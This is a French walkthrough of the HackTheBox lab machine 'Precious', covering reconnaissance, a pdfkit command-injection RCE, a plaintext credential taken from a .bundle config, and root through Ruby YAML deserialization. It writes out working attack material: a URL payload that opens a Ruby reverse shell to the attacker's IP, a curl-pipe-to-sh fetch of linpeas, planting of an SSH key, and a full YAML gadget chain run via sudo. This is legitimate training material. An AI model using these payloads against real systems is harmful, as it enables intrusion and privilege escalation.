HackTheBox Walkthrough - Precious¶
Machine ciblée : Precious.
Répertoire : /home/kali/Precious
Temps passé dessus : 1h30
Terminé 165e
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Precious"
repository="/home/kali/$name"
ip="10.129.96.44"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap -Pn -A -T5 -p - -oN $repository/full $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-26 16:56 EST
Nmap scan report for Precious (10.129.96.44)
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-26 16:57 EST
Donc on a un site web et du ssh. Let’s gow !
┌──(kali㉿kali)-[~/Precious]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name --exclude-length 145
┌──(kali㉿kali)-[~/Precious]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host:FUZZ.$domain" --hl 7 http://$name.$domain
┌──(kali㉿kali)-[~/Precious]
└─$ searchsploit nginx
-------------------------------------------------------------- -------------------------
Exploit Title | Path
-------------------------------------------------------------- -------------------------
Nginx (Debian Based) - 'logrotate' Local Privilege Escalation | linux/local/40768.sh
PHP-FPM + Nginx - Remote Code Execution | php/webapps/47553.md
-------------------------------------------------------------- -------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~/Precious]
└─$ searchsploit Phusion Passenger
Exploits: No Results
Shellcodes: No Results
Phase 2 : Analyse¶
Bon, ça commence bien, j’ai pas max de piste … Il y a de la verification sur l’url, si ca commence pas par http, ca foire. Si c’est un vrai site, ca timeout … Le logiciel est meme pas fonctionnel, t’es oblige de lui mettre de la m*rde après pour le faire buger et obtenir un pdf. Bref, j’aime les « easy » … Quoi qu’il en soit, quand t’as ton pdf, tu remarques que c’est fait avec pdfkit v0.8.6. Petite recherche google, une rce.
Je suis sûr que c’est ça le chemin d’attaque, mais impossible à le faire marcher pour l’instant … Bien relou.
Phase 3 : User¶
Après une bonne dose de try&retry(&rage), j’ai réussi à prouver la RCE à l’aide d’un ping.

Ok donc en faite, j’ai pas pigée exactement pourquoi, mais il fallait mettre un paramètre à la suite. Ou alors il fallait encoder un espace en %20. Bref, voici le code :
http://lo/?name=#{'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.171",3333))'`'}
et l’on le voit côté shell :
┌──(kali㉿kali)-[~/Precious]
└─$ while 1=1; do rlwrap -cAr nc -lvp 3333; done
listening on [any] 3333 ...
ls
listening on [any] 3333 ...
connect to [10.10.14.171] from Precious [10.129.96.44] 48242
listening on [any] 3333 ...
connect to [10.10.14.171] from Precious [10.129.96.44] 48242
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ls -lAR /home
/home:
total 8
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 henry
drwxr-xr-x 4 ruby ruby 4096 Nov 26 16:58 ruby
/home/henry:
total 16
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 henry henry 33 Nov 26 16:17 user.txt
Serieux, faut que je deviennes Henry pour avoir le flag user ? C’est une blague ? Easy ??
Bon, on va se rajouter une cle ssh.
Phase 4 : Le pivot¶
┌──(kali㉿kali)-[~/Precious]
└─$ ssh-keygen -t ed25519 -f ./id_ecdsa -C '' -N '' >/dev/null && cat ./id_ecdsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABStMjZRDYs9OE1DCcJMevfhyg/HWYH63JgvaP9375u
## Sur le serveur distant :
mkdir /home/ruby/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABStMjZRDYs9OE1DCcJMevfhyg/HWYH63JgvaP9375u' > ./.ssh/authorized_keys
chmod 600 ./authorized_keys
┌──(kali㉿kali)-[~/Precious]
└─$ cd ../Tools
┌──(kali㉿kali)-[~/Tools] #on prepare le linpeas
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(kali㉿kali)-[~/Precious]
└─$ ssh -i id_ecdsa ruby@precious
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
ruby@precious:~$ curl http://10.10.14.171:8000/linpeas.sh |sh
Ce dernier ne m’a absolument rien appris. alors je me suis mis à fouiller les fichiers dans /tmp puis dans /home/ruby et je suis tombé sur un dossier .bundle …
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls -lA
total 4
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Serieux ?
┌──(kali㉿kali)-[~/precious]
└─$ ssh henry@precious
henry@precious's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$
Phase 5 : Elevation de privilege¶
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Ok donc l’objectif du script est plutôt simple : mettre à jour ses dépendances de ruby en fonction d’une liste. La liste de base se trouve dans /opt/sample mais ne nous est pas utile. Par contre, on voit que le code charge un YAML. Et si on avait moyen de faire un truc avec ça ? Demandons à google : ruby yaml exploit.
henry@precious:~$ vi dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "id"
method_id: :resolve
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
Merde, ça n’a pas marché. A moins que ça soit avant le message d’erreur ?!
henry@precious:~$ vi dependencies.yml
git_set: "cat /root/root.txt"
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
0e1ddff67640a716c8f3fff2a96b3d31
Rooted !
Récapitulatif¶
Bon, c’est ma première easy 100% seul, je suis fier, surtout que je ne la trouve pas facile et que j’ai mis moins de 2H30. Je la trouve difficilement applicable dans la vraie vie tant elle semble être une plateforme de mauvaise utilisation de ruby.
Il faudra quand même que je regarde un peu Ruby pour savoir à quoi sert le dossier .bundle où l’on trouve le mot de passe de henry.
A retenir¶
Toujours mettre à jour (encore, oui). C’est quand même à cause de ça que l’on a pu rentrer facilement.
Ne jamais mettre en clair ses mots de passe
Éviter autant que possible de laisser l’usage de root à un compte. Quand bien même dans la vrai vie, il serait difficile de ne pas faire ce qui a été fait, alors on va se contenter de réperer : Ne jamais mettre ses mots de passe en clair.